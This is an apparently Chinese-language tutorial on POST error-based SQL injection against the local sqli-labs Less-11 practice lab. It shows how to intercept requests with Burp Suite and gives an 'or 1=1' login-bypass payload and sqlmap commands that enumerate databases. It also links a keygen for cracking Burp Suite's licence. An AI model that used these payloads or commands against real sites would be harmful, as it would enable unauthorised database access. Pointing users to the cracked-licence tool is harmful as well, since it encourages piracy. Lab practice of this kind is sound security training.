post基础错误注入
Burpsuite抓取HTTP请求
Burpsuite是一款Web安全测试的利器,集成了几乎Web安全测试中所有需要用到的功能。
运行前提:
需要安装Java https://www.java.com/zh-CN/download/。
出现帮助信息表示安装成功。

截取代理设置:在浏览器中设置局域网代理
如果在设置里面代理服务器怎么都打不开可以用代理工具,花刺代理。用管理员方式打开软件。

配置burpsuite。跟代理一致就行。

然后就是在浏览器导入Burpsuite下的证书,以防止出现不安全连接的情况,详情见下链接
https://zhuanlan.zhihu.com/p/459705624
下载Burpsuite
相关教程,看看就行,不必按照它的来。
https://zhuanlan.zhihu.com/p/478151736
下载Burpsuite
https://portswigger.net/burp/releases
Burpsuite注册机
https://github.com/h3110w0r1d-y/BurpLoaderKeygen
POST基于错误注入
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。当然可以借助对应的插件可以完成
修改任务。以Sqli-L _ab Less11为例。

打开Burpsuite进行截取,获取http请求

用户名密码信息在这里被提交到服务器进行查询,我们可以使用 burpsuite 来对数据包进行修改,空白处右击选择 Send to Repeter 或者快捷键 Ctrl + R

Repeater-是一个靠手动操作来补发单独的 HTTP 请求,并分析应用程序响应的工具
我们修改表单中提交的内容进行 SQL 注入
原:uname=123123&passwd=password&submit=Submit
改:uname=123123&passwd=password\&submit=Submit
我们在密码后面加一个反斜杠(转义符),用来转义 passwd 字段的闭合符号,导致SQL语句报错执行失败。

可以看到我们转义了一个单引号,表示当前位置是使用单引号进行闭合的
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''password\' LIMIT 0,1' at line 1
-- 你的SQL语法有错误;查看对应你的MySQL服务器版本的手册,在“password\' LIMIT 0,1' at line 1←'”附近使用正确的语法。
我们通过单引号字符注入来构造一个万能密码
uname=123123&passwd=password’or 1=1--+ &submit=Submit

点击Render 可以查看此web页面

我们可以看出,GET 方式和post 方式 的区别,GET方式 可以明显的 从 URL 中进行注入,POST可以在数据包中进行修改对应的字段来进行 SQL 注入
最后关闭 intercept

sqlmap安全测试
Sqlmap安全测试进行POST注入
注入方式一:
复制Burpsuite截断的HTTP请求数据包到文本文件中

1.使用SqImap -r文件路径 -p指定探测参数。
sqlmap.py -r "D://1.txt" -p passwd

2.列数据库:
sqlmap.py -r "D://1.txt" -p passwd --dbs --batch

注入方式二:自动搜索表单的方式
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试。
sqlmap.py -u "http://127.0.0.1/Less-11/" --forms --batch --fresh-queries –dbs

注入方式三:指定一个参数的方法
--data参数,将数据进行测试
sqlmap.py -u "http://127.0.0.1/Less-11/" --data "uname=1&passwd=1" --batch --fresh-queries –dbs


浙公网安备 33010602011771号